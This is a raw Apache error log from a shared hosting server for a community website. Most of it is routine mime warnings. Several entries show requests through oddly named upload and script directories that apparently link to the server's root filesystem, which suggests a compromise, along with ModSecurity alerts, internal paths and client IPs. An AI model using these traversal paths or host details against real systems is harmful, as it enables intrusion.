[Fri Jul 17 09:31:35.443355 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.625702 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.717565 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.811708 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:35.905058 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.033933 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.180729 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-1/raw
[Fri Jul 17 09:31:36.278056 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.383871 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.473982 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.566506 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.749050 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:36.846218 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty52/subsystem/ttyS1/iomem_base
[Fri Jul 17 09:31:36.938160 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.028566 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.119543 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.212052 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.304210 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.355695 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.394802 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.485760 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.576797 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.669648 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.760891 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.852596 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:37.944349 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.036455 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.216659 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/32-0/raw
[Fri Jul 17 09:31:38.307133 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.399312 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.491203 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.581875 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:38.695267 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/3-0/raw
[Fri Jul 17 09:31:39.074445 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:39.157490 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-0/raw
[Fri Jul 17 09:31:39.269931 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/sys/net/ipv6/neigh/default/base_reachable_time"] [unique_id "almpI1CBpfuYyhJ140vZAgAAAB4"]
[Fri Jul 17 09:31:39.269975 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/sys/net/ipv6/neigh/default/base_reachable_time"] [unique_id "almpI1CBpfuYyhJ140vZAgAAAB4"]
[Fri Jul 17 09:31:39.387788 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:41.139428 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:44.759853 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:47.100758 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory112/node0/memory93/subsystem/devices/memory15/subsystem/devices/memory106/subsystem/drivers_probe
[Fri Jul 17 09:31:48.010807 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:48.015106 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:48.016403 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:36150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:31:52.495803 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.588625 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.621643 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.707104 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.708866 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:31:52.813035 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.897171 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:52.987263 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.079299 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.188857 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.275450 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.275572 2026] [core:crit] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/redis/etc/redis/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/alt/redis/etc/redis/' is executable
[Fri Jul 17 09:31:53.626687 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.724076 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.776241 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/img/footer bkg.png"] [unique_id "almpMboj0IkvhSCYadmISQAAAAQ"]
[Fri Jul 17 09:31:53.776607 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/img/footer bkg.png"] [unique_id "almpMboj0IkvhSCYadmISQAAAAQ"]
[Fri Jul 17 09:31:53.788168 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/img/footer bkg.png"] [unique_id "almpMboj0IkvhSCYadmISQAAAAQ"]
[Fri Jul 17 09:31:53.814370 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:53.999661 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:54.198737 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:54.276009 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:54.465896 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:54.664386 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:54.922824 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.033674 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.201638 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.378957 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.382103 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:31:55.562921 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.755316 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.836360 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:55.926538 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.021192 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.111644 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A03:00/device:1a/subsystem/drivers_probe
[Fri Jul 17 09:31:56.202089 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.291496 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.492837 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:01/PNP0303:00/uevent"] [unique_id "almpNA7FYe46zHK_jL3WZgAAABk"]
[Fri Jul 17 09:31:56.492879 2026] [security2:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:01/PNP0303:00/uevent"] [unique_id "almpNA7FYe46zHK_jL3WZgAAABk"]
[Fri Jul 17 09:31:56.567008 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.657272 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:56.748762 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.067125 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.110482 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.204722 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.293525 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.387287 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.474620 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.566876 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.670969 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:57.749408 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.515647 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563076 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563153 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563245 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563284 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563311 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563330 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.563352 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682398 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682492 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682630 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682673 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682695 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682712 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.682748 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760617 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760697 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760777 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760811 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760833 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760850 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.760868 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.851970 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.945839 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.945914 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.946031 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.946091 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.946115 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.946132 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:31:59.946150 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.043599 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.136110 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.278017 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.349080 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.413459 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.503501 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.609173 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.750994 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.777303 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.911032 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:00.960487 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.061029 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.146088 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.232991 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.323679 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.414787 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.506558 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.597169 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.794662 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.794800 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.870366 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:01.961313 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.057241 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.142470 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.233863 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.325333 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.416664 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.507479 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.605905 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.716894 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.783632 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.823358 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpOroj0IkvhSCYadmIUQAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:32:02.823525 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpOroj0IkvhSCYadmIUQAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:32:02.875164 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:02.967188 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.057281 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.102873 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:33714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:32:03.148862 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.239216 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.331220 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.427811 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.527655 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.658142 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.709296 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.798716 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.965420 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:03.981911 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.073164 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.182756 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.255954 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.373990 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.466988 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.527619 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.629110 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.709682 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:04.800700 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.090099 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.212672 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.294836 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.385662 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:32:05.508219 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
